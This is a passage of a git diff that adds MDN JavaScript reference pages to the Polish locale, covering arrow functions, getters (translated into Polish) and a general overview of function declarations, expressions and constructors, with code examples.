+var arr = [5, 6, 13, 0, 1, 18, 23];
+
+var sum = arr.reduce((a, b) =&gt; a + b);
+// 66
+
+var even = arr.filter(v =&gt; v % 2 == 0);
+// [6, 0, 18]
+
+var double = arr.map(v =&gt; v * 2);
+// [10, 12, 26, 0, 2, 36, 46]
+
+// More concise promise chains
+promise.then(a =&gt; {
+ // ...
+}).then(b =&gt; {
+ // ...
+});
+
+// Parameterless arrow functions that are visually easier to parse
+setTimeout( () =&gt; {
+ console.log('I happen sooner');
+ setTimeout( () =&gt; {
+ // deeper code
+ console.log('I happen later');
+ }, 1);
+}, 1);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.functions.arrow_functions")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/pl/web/javascript/reference/functions/get/index.html b/files/pl/web/javascript/reference/functions/get/index.html
new file mode 100644
index 0000000000..0c4cf664dc
--- /dev/null
+++ b/files/pl/web/javascript/reference/functions/get/index.html
@@ -0,0 +1,216 @@
+---
+title: getter
+slug: Web/JavaScript/Reference/Functions/get
+translation_of: Web/JavaScript/Reference/Functions/get
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<div>Składnia <strong>get </strong>łączy właściwość obiektu z funkcją, która będzie wykonywana za każdym razem, kiedy ta właściwość jest wywoływana.</div>
+
+<div></div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">{get <em>prop</em>() { ... } }
+{get <em>[expression]</em>() { ... } }</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Nazwa właściwości, która łączy ją z okresloną funkcją.</dd>
+ <dt>expression</dt>
+ <dd>Począwszy od ECMAScript 2015, można również użyć wyrażeń w celu połaczenia funkcji z nazwą właściwości, która jest obliczana.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Czasami pożądane jest aby umożliwić dostęp do właściwości, która zwraca wartość obliczaną dynamicznie lub potrzeba odzwierciedlić stan jakiejś wewnętrznej zmiennej bez potrzeby użycia wyraźnego wywołania metody. W języku JavaScript może to być osiągnięte dzięki użyciu <em>gettera</em>. Nie jest możliwe jednocześnie mieć getter połączony z właściwością i mieć tą właściwość (o takiej samej nazwie jak getter), która faktycznie trzyma wartość. Jednakże jest możliwe aby używać połączenia gettera i settera, żeby utworzyć rodzaj pseudo-właściwości.</p>
+
+<p>Zauważ, że gdy pracujemy ze składnią get to:</p>
+
+<div>
+<ul>
+ <li>Można mieć identyfikator, który jest zarówno typu number jak i string;</li>
+ <li>Obowiązkowe jest aby zawierała dokładnie zero parametrów (zobacz: "<a href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/">Niekompatybilna zmiana ES5: literał dla funkcji gettera i setera muszą teraz mieć dokładnie zero albo jeden argumentów</a>", aby uzyskać więcej informacji)</li>
+ <li>Nie może pojawiać się w literale obiektu z innym getem lub właściwością o takich samych nazwach (<code>{ get x() { }, get x() { } }</code> oraz <code>{ x: ..., get x() { } }</code> są niedozwolone).</li>
+</ul>
+</div>
+
+<p>Getter może być usunięty poprzez operator <code><a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operator_delete" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/delete_Operator">delete</a></code>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Definiowanie_gettera_na_nowym_obiekcie_w_inicjalizatorze_obiektu.">Definiowanie gettera na nowym obiekcie w inicjalizatorze obiektu.</h3>
+
+<p>To stworzy pseudowłaściwość <code>latest</code> dla obiektu <code>obj</code>, która zwróci ostatnio zalogowany element w tablicy <code>log</code>.</p>
+
+<pre class="brush: js">var obj = {
+  log: ['test'],
+  get latest() {
+    if (this.log.length == 0) return undefined;
+    return this.log[this.log.length - 1];
+  }
+}
+console.log(obj.latest); // Zwróci "test".
+</pre>
+
+<p>Zauważ, że usiłowanie przypisania wartości do <code>latest</code> nie zmieni jej.</p>
+
+<h3 id="Usuwanie_gettera_używając_operatora_delete">Usuwanie gettera używając operatora <code>delete</code></h3>
+
+<p>Jeśli chcesz usunąć getter, wystarczy użyć <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a> </code>:</p>
+
+<pre class="brush: js">delete obj.latest;
+</pre>
+
+<h3 id="Definiowanie_gettera_na_istniejącym_obiekcie_uzywając_defineProperty">Definiowanie gettera na istniejącym obiekcie uzywając <code>defineProperty</code></h3>
+
+<p>Aby dołączyć getter do istniejącego obiektu, można w każdej chwili użyć:<br>
+ {{jsxref("Object.defineProperty()")}}.</p>
+
+<pre class="brush: js">var o = {a: 0};
+
+Object.defineProperty(o, 'b', { get: function() { return this.a + 1; } });
+
+console.log(o.b) // Uruchamia getter, który otrzymuje yields a + 1 (which is 1)</pre>
+
+<h3 id="Używanie_obliczanych_wartości_dla_właściwości.">Używanie obliczanych wartości dla właściwości.</h3>
+
+<pre class="brush: js">var expr = 'foo';
+
+var obj = {
+ get [expr]() { return 'bar'; }
+};
+
+console.log(obj.foo); // "bar"</pre>
+
+<h3 id="Bystre_samo-nadpisujące_leniwe_gettery">Bystre / samo-nadpisujące / leniwe gettery</h3>
+
+<p>Gettery dają ci możliwośc zdefiniowania właściwości obiektu, ale nie obliczają wartości właściwości dopóki nie jest ona dostępna. Getter odracza koszt obliczania wartości dopóki ta wartość jest potrzebna, a jeśli nigdy nie jest potrzebna, nie ponosi się tego kosztu.</p>
+
+<p>Dodatkową techniką optymalizacyjna aby uleniwić lub opóźnić obliczanie wartości dla właściwości jak i przechować ją na później są <strong>bystre (smart) lub <a href="https://en.wikipedia.org/wiki/Memoization">zmemoizowane</a> gettery.</strong> Wartość jest obliczana gdy getter jest wywoływany za pierwszym razem, a potem jest przechowywana więc kolejne dostępy zwracają zbuforowaną wartość bez jej ponownego obliczania. Jest to użyteczne w następujących sytuacjach:</p>
+
+<ul>
+ <li>Jeśli obliczanie wartości dla właściwości jest kosztowne (wymaga zużycia dużych zasobów pamięci operacyjnej RAM lub czasu procesora, itd).</li>
+ <li>Jesli wartość nie jest potrzebna natychmiast. Będzie jednak używana później lub w pewnych przypadkach nie będzie użyta wcale.</li>
+ <li>Jeżeli jest użyta, będzie wykorzystywana wiele razy i nie ma potrzeby ponownego jej oblczania, oraz jej wartość nigdy nie będzie zmieniona lub ponownie obliczana.</li>
+</ul>
+
+<p>To oznacza, że nie powinno się używać leniwych getterów dla właściwości, której wartość może ulec zmianie, ponieważ taki getter nie oblicza właściwości ponownie.</p>
+
+<p>W następującym przykładzie obiekt posiada getter jako swoją właściwość. Otrzymując tą właściwość, jest ona usuwana z obiektu i ponownie dodawana, ale niejawnie jako właściwość z przypisanymi danymi. W ostatecznym rozrachunku zwracana jest wartość.</p>
+
+<pre class="brush: js">get notifier() {
+ delete this.notifier;
+ return this.notifier = document.getElementById('bookmarked-notification-anchor');
+},</pre>
+
+<p>Na potrzeby kodu Firefoxa, zobacz również moduł z kodem XPCOMUtils.jsm, który okresla funkcje <code><a href="/en-US/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyGetter()">defineLazyGetter()</a></code>.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacje</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Added computed property names.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(1)}}</td>
+ <td>{{ CompatGeckoDesktop("1.8.1") }}</td>
+ <td>{{ CompatIE(9) }}</td>
+ <td>9.5</td>
+ <td>3</td>
+ </tr>
+ <tr>
+ <td>Computed property names</td>
+ <td>{{CompatChrome(46)}}</td>
+ <td>{{ CompatGeckoDesktop("34") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatGeckoMobile("1.8.1") }}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td>Computed property names</td>
+ <td>47</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatGeckoMobile("34.0") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> in JavaScript Guide</li>
+</ul>
diff --git a/files/pl/web/javascript/reference/functions/index.html b/files/pl/web/javascript/reference/functions/index.html
new file mode 100644
index 0000000000..e7935d3318
--- /dev/null
+++ b/files/pl/web/javascript/reference/functions/index.html
@@ -0,0 +1,657 @@
+---
+title: Functions
+slug: Web/JavaScript/Reference/Functions
+tags:
+ - Constructor
+ - Function
+ - Functions
+ - JavaScript
+ - NeedsTranslation
+ - Parameter
+ - TopicStub
+ - parameters
+translation_of: Web/JavaScript/Reference/Functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Generally speaking, a function is a "subprogram" that can be <em>called</em> by code external (or internal in the case of recursion) to the function. Like the program itself, a function is composed of a sequence of statements called the <em>function body</em>. Values can be <em>passed</em> to a function, and the function will <em>return</em> a value.</p>
+
+<p>In JavaScript, functions are first-class objects, because they can have properties and methods just like any other object. What distinguishes them from other objects is that functions can be called. In brief, they are <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function">Function</a></code> objects.</p>
+
+<p>For more examples and explanations, see also the <a href="/en-US/docs/Web/JavaScript/Guide/Functions">JavaScript guide about functions</a>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Every function in JavaScript is a <code>Function</code> object. See {{jsxref("Function")}} for information on properties and methods of <code>Function</code> objects.</p>
+
+<p>To return a value other than the default, a function must have a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> statement that specifies the value to return. A function without a return statement will return a default value. In the case of a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a> called with the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> keyword, the default value is the value of its <code>this</code> parameter. For all other functions, the default return value is {{jsxref("undefined")}}.</p>
+
+<p>The parameters of a function call are the function's <em>arguments</em>. Arguments are passed to functions <em>by value</em>. If the function changes the value of an argument, this change is not reflected globally or in the calling function. However, object references are values, too, and they are special: if the function changes the referred object's properties, that change is visible outside the function, as shown in the following example:</p>
+
+<pre class="brush: js">/* Declare the function 'myFunc' */
+function myFunc(theObject) {
+ theObject.brand = "Toyota";
+ }
+
+ /*
+ * Declare variable 'mycar';
+ * create and initialize a new Object;
+ * assign reference to it to 'mycar'
+ */
+ var mycar = {
+ brand: "Honda",
+ model: "Accord",
+ year: 1998
+ };
+
+ /* Logs 'Honda' */
+ console.log(mycar.brand);
+
+ /* Pass object reference to the function */
+ myFunc(mycar);
+
+ /*
+ * Logs 'Toyota' as the value of the 'brand' property
+ * of the object, as changed to by the function.
+ */
+ console.log(mycar.brand);
+</pre>
+
+<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code> keyword</a> does not refer to the currently executing function, so you must refer to <code>Function</code> objects by name, even within the function body.</p>
+
+<h2 id="Defining_functions">Defining functions</h2>
+
+<p>There are several ways to define functions:</p>
+
+<h3 id="The_function_declaration_(function_statement)">The function declaration (<code>function</code> statement)</h3>
+
+<p>There is a special syntax for declaring functions (see <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> for details):</p>
+
+<pre class="syntaxbox">function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>The function name.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>The statements comprising the body of the function.</dd>
+</dl>
+
+<h3 id="The_function_expression_(function_expression)">The function expression (<code>function</code> expression)</h3>
+
+<p>A function expression is similar to and has the same syntax as a function declaration (see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> for details). A function expression may be a part of a larger expression. One can define "named" function expressions (where the name of the expression might be used in the call stack for example) or "anonymous" function expressions. Function expressions are not <em>hoisted</em> onto the beginning of the scope, therefore they cannot be used before they appear in the code.</p>
+
+<pre class="syntaxbox">function [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
+ <dt><code>statements</code></dt>
+ <dd>The statements comprising the body of the function.</dd>
+</dl>
+
+<p>Here is an example of an <strong>anonymous</strong> function expression (the <code>name</code> is not used):</p>
+
+<pre class="brush: js">var myFunction = function() {
+ statements
+}</pre>
+
+<p>It is also possible to provide a name inside the definition in order to create a <strong>named</strong> function expression:</p>
+
+<pre class="brush: js">var myFunction = function namedFunction(){
+  statements
+}
+</pre>
+
+<p>One of the benefit of creating a named function expression is that in case we encounted an error, the stack trace will contain the name of the function, making it easier to find the origin of the error.</p>
+
+<p>As we can see, both example do not start with the <code>function</code> keyword. Statements involving functions which do not start with <code>function</code> are function expressions.</p>
+
+<p>When function are used only once, a common pattern is an <strong>IIFE (<em>Immediately Invokable Function Expressions</em>)</strong>.</p>
+
+<pre class="brush: js">(function() {
+ statements
+})();</pre>
+
+<p>IIFE are function expression that are invoked as soon as the function is declared.</p>
+
+<h3 id="The_generator_function_declaration_(function*_statement)">The generator function declaration (<code>function*</code> statement)</h3>
+
+<p>There is a special syntax for generator function declarations (see {{jsxref('Statements/function*', 'function* statement')}} for details):</p>
+
+<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>The function name.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>The statements comprising the body of the function.</dd>
+</dl>
+
+<h3 id="The_generator_function_expression_(function*_expression)">The generator function expression (<code>function*</code> expression)</h3>
+
+<p>A generator function expression is similar to and has the same syntax as a generator function declaration (see {{jsxref('Operators/function*', 'function* expression')}} for details):</p>
+
+<pre class="syntaxbox">function* [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
+ <dt><code>statements</code></dt>
+ <dd>The statements comprising the body of the function.</dd>
+</dl>
+
+<h3 id="The_arrow_function_expression_(>)">The arrow function expression (=&gt;)</h3>
+
+<p>An arrow function expression has a shorter syntax and lexically binds its <code>this</code> value (see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a> for details):</p>
+
+<pre class="syntaxbox">([param[, param]]) =&gt; {
+ statements
+}
+
+param =&gt; expression
+</pre>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>The name of an argument. Zero arguments need to be indicated with <code>()</code>.  For only one argument, the parentheses are not required. (like <code>foo =&gt; 1</code>)</dd>
+ <dt><code>statements or expression</code></dt>
+ <dd>Multiple statements need to be enclosed in brackets. A single expression requires no brackets. The expression is also the implicit return value of the function.</dd>
+</dl>
+
+<h3 id="The_Function_constructor">The <code>Function</code> constructor</h3>
+
+<div class="note">
+<p><strong>Note:</strong> Using the <code>Function</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p>
+</div>
+
+<p>As all other objects, {{jsxref("Function")}} objects can be created using the <code>new</code> operator:</p>
+
+<pre class="syntaxbox">new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Zero or more names to be used by the function as formal parameters. Each must be a proper JavaScript identifier.</dd>
+</dl>
+
+<dl>
+ <dt><code>functionBody</code></dt>
+ <dd>A string containing the JavaScript statements comprising the function body.</dd>
+</dl>
+
+<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
+
+<h3 id="The_GeneratorFunction_constructor">The <code>GeneratorFunction</code> constructor</h3>
+
+<div class="note">
+<p><strong>Note:</strong> <code>GeneratorFunction</code> is not a global object, but could be obtained from generator function instance (see {{jsxref("GeneratorFunction")}} for more detail).</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> Using the <code>GeneratorFunction</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p>
+</div>
+
+<p>As all other objects, {{jsxref("GeneratorFunction")}} objects can be created using the <code>new</code> operator:</p>
+
+<pre class="syntaxbox">new GeneratorFunction (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Zero or more names to be used by the function as formal argument names. Each must be a string that conforms to the rules for a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>functionBody</code></dt>
+ <dd>A string containing the JavaScript statements comprising the function definition.</dd>
+</dl>
+
+<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
+
+<h2 id="Function_parameters">Function parameters</h2>
+
+<h3 id="Default_parameters">Default parameters</h3>
+
+<p>Default function parameters allow formal parameters to be initialized with default values if no value or <code>undefined</code> is passed. For more details, see<a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters"> default parameters</a>.</p>
+
+<h3 id="Rest_parameters">Rest parameters</h3>
+
+<p>The rest parameter syntax allows to represent an indefinite number of arguments as an array. For more details, see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a>.</p>
+
+<h2 id="The_arguments_object">The <code>arguments</code> object</h2>
+
+<p>You can refer to a function's arguments within the function by using the <code>arguments</code> object. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>.</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a></code>: An array-like object containing the arguments passed to the currently executing function.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/callee">arguments.callee</a></code> {{Deprecated_inline}}: The currently executing function.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/caller">arguments.caller</a></code> {{Obsolete_inline}} : The function that invoked the currently executing function.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code>: The number of arguments passed to the function.</li>
+</ul>
+
+<h2 id="Defining_method_functions">Defining method functions</h2>
+
+<h3 id="Getter_and_setter_functions">Getter and setter functions</h3>
+
+<p>You can define getters (accessor methods) and setters (mutator methods) on any standard built-in object or user-defined object that supports the addition of new properties. The syntax for defining getters and setters uses the object literal syntax.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></dt>
+ <dd>
+ <p>Binds an object property to a function that will be called when that property is looked up.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></dt>
+ <dd>Binds an object property to a function to be called when there is an attempt to set that property.</dd>
+</dl>
+
+<h3 id="Method_definition_syntax">Method definition syntax</h3>
+
+<p>Starting with ECMAScript 2015, you are able to define own methods in a shorter syntax, similar to the getters and setters. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a> for more information.</p>
+
+<pre class="brush: js">var obj = {
+ foo() {},
+  bar() {}
+};</pre>
+
+<h2 id="Function_constructor_vs._function_declaration_vs._function_expression"><code>Function</code> constructor vs. function declaration vs. function expression</h2>
+
+<p>Compare the following:</p>
+
+<p>A function defined with the <code>Function</code> constructor assigned to the variable <code>multiply:</code></p>
+
+<pre class="brush: js">var multiply = new Function('x', 'y', 'return x * y');</pre>
+
+<p>A <em>function declaration</em> of a function named <code>multiply</code>:</p>
+
+<pre class="brush: js">function multiply(x, y) {
+  return x * y;
+} // there is no semicolon here
+</pre>
+
+<p>A <em>function expression</em> of an anonymous function assigned to the variable <code>multiply:</code></p>
+
+<pre class="brush: js">var multiply = function(x, y) {
+ return x * y;
+};
+</pre>
+
+<p>A <em>function expression</em> of a function named <code>func_name</code> assigned to the variable <code>multiply:</code></p>
+
+<pre class="brush: js">var multiply = function func_name(x, y) {
+ return x * y;
+};
+</pre>
+
+<h3 id="Differences">Differences</h3>
+
+<p>All do approximately the same thing, with a few subtle differences:</p>
+
+<p>There is a distinction between the function name and the variable the function is assigned to. The function name cannot be changed, while the variable the function is assigned to can be reassigned. The function name can be used only within the function's body. Attempting to use it outside the function's body results in an error (or <code>undefined</code> if the function name was previously declared via a <code>var</code> statement). For example:</p>
+
+<pre class="brush: js">var y = function x() {};
+alert(x); // throws an error
+</pre>
+
+<p>The function name also appears when the function is serialized via <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/toString"><code>Function</code>'s toString method</a>.</p>
+
+<p>On the other hand, the variable the function is assigned to is limited only by its scope, which is guaranteed to include the scope where the function is declared in.</p>
+
+<p>As the 4th example shows, the function name can be different from the variable the function is assigned to. They have no relation to each other. A function declaration also creates a variable with the same name as the function name. Thus, unlike those defined by function expressions, functions defined by function declarations can be accessed by their name in the scope they were defined in:</p>
+
+<p>A function defined by '<code>new Function'</code> does not have a function name. However, in the <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> JavaScript engine, the serialized form of the function shows as if it has the name "anonymous". For example, <code>alert(new Function())</code> outputs:</p>
+
+<pre class="brush: js">function anonymous() {
+}
+</pre>
+
+<p>Since the function actually does not have a name, <code>anonymous</code> is not a variable that can be accessed within the function. For example, the following would result in an error:</p>
+
+<pre class="brush: js">var foo = new Function("alert(anonymous);");
+foo();
+</pre>
+
+<p>Unlike functions defined by function expressions or by the <code>Function</code> constructor, a function defined by a function declaration can be used before the function declaration itself. For example:</p>
+
+<pre class="brush: js">foo(); // alerts FOO!
+function foo() {
+ alert('FOO!');
+}
+</pre>
+
+<p>A function defined by a function expression inherits the current scope. That is, the function forms a closure. On the other hand, a function defined by a <code>Function</code> constructor does not inherit any scope other than the global scope (which all functions inherit).</p>
+
+<p>Functions defined by function expressions and function declarations are parsed only once, while those defined by the <code>Function</code> constructor are not. That is, the function body string passed to the <code>Function</code> constructor must be parsed each and every time the constructor is called. Although a function expression creates a closure every time, the function body is not reparsed, so function expressions are still faster than "<code>new Function(...)</code>". Therefore the <code>Function</code> constructor should generally be avoided whenever possible.</p>
+
+<p>It should be noted, however, that function expressions and function declarations nested within the function generated by parsing a <code>Function constructor</code> 's string aren't parsed repeatedly. For example:</p>
+
+<pre class="brush: js">var foo = (new Function("var bar = \'FOO!\';\nreturn(function() {\n\talert(bar);\n});"))();
+foo(); // The segment "function() {\n\talert(bar);\n}" of the function body string is not re-parsed.</pre>
+
+<p>A function declaration is very easily (and often unintentionally) turned into a function expression. A function declaration ceases to be one when it either:</p>
+
+<ul>
+ <li>becomes part of an expression</li>
+ <li>is no longer a "source element" of a function or the script itself. A "source element" is a non-nested statement in the script or a function body:</li>
+</ul>
+
+<pre class="brush: js">var x = 0; // source element
+if (x == 0) { // source element
+ x = 10; // not a source element
+ function boo() {} // not a source element
+}
+function foo() { // source element
+ var y = 20; // source element
+ function bar() {} // source element
+ while (y == 10) { // source element
+ function blah() {} // not a source element
+ y++; // not a source element
+ }
+}
+</pre>
+
+<h3 id="Examples">Examples</h3>
+
+<pre class="brush: js">// function declaration
+function foo() {}
+
+// function expression
+(function bar() {})
+
+// function expression
+x = function hello() {}
+
+
+if (x) {
+ // function expression
+ function world() {}
+}
+
+
+// function declaration
+function a() {
+ // function declaration
+ function b() {}
+ if (0) {
+ // function expression
+ function c() {}
+ }
+}
+</pre>
+
+<h2 id="Block-level_functions">Block-level functions</h2>
+
+<p>In <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, starting with ES2015, functions inside blocks are now scoped to that block. Prior to ES2015, block-level functions were forbidden in strict mode.</p>
+
+<pre class="brush: js">'use strict';
+
+function f() {
+ return 1;
+}
+
+{
+ function f() {
+ return 2;
+ }
+}
+
+f() === 1; // true
+
+// f() === 2 in non-strict mode
+</pre>
+
+<h3 id="Block-level_functions_in_non-strict_code">Block-level functions in non-strict code</h3>
+
+<p>In a word: Don't.</p>
+
+<p>In non-strict code, function declarations inside blocks behave strangely. For example:</p>
+
+<pre class="brush: js">if (shouldDefineZero) {
+ function zero() { // DANGER: compatibility risk
+ console.log("This is zero.");
+ }
+}
+</pre>
+
+<p>ES2015 says that if <code>shouldDefineZero</code> is false, then <code>zero</code> should never be defined, since the block never executes. However, it's a new part of the standard. Historically, this was left unspecified, and some browsers would define <code>zero</code> whether the block executed or not.</p>
+
+<p>In <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, all browsers that support ES2015 handle this the same way: <code>zero</code> is defined only if <code>shouldDefineZero</code> is true, and only in the scope of the <code>if</code>-block.</p>
+
+<p>A safer way to define functions conditionally is to assign a function expression to a variable:</p>
+
+<pre class="brush: js">var zero;
+if (0) {
+ zero = function() {
+ console.log("This is zero.");
+ };
+}
+</pre>
+
+<h2 id="Examples_2">Examples</h2>
+
+<h3 id="Returning_a_formatted_number">Returning a formatted number</h3>
+
+<p>The following function returns a string containing the formatted representation of a number padded with leading zeros.</p>
+
+<pre class="brush: js">// This function returns a string padded with leading zeros
+function padZeros(num, totalLen) {
+ var numStr = num.toString(); // Initialize return value as string
+ var numZeros = totalLen - numStr.length; // Calculate no. of zeros
+ for (var i = 1; i &lt;= numZeros; i++) {
+ numStr = "0" + numStr;
+ }
+ return numStr;
+}
+</pre>
+
+<p>The following statements call the padZeros function.</p>
+
+<pre class="brush: js">var result;
+result = padZeros(42,4); // returns "0042"
+result = padZeros(42,2); // returns "42"
+result = padZeros(5,4); // returns "0005"
+</pre>
+
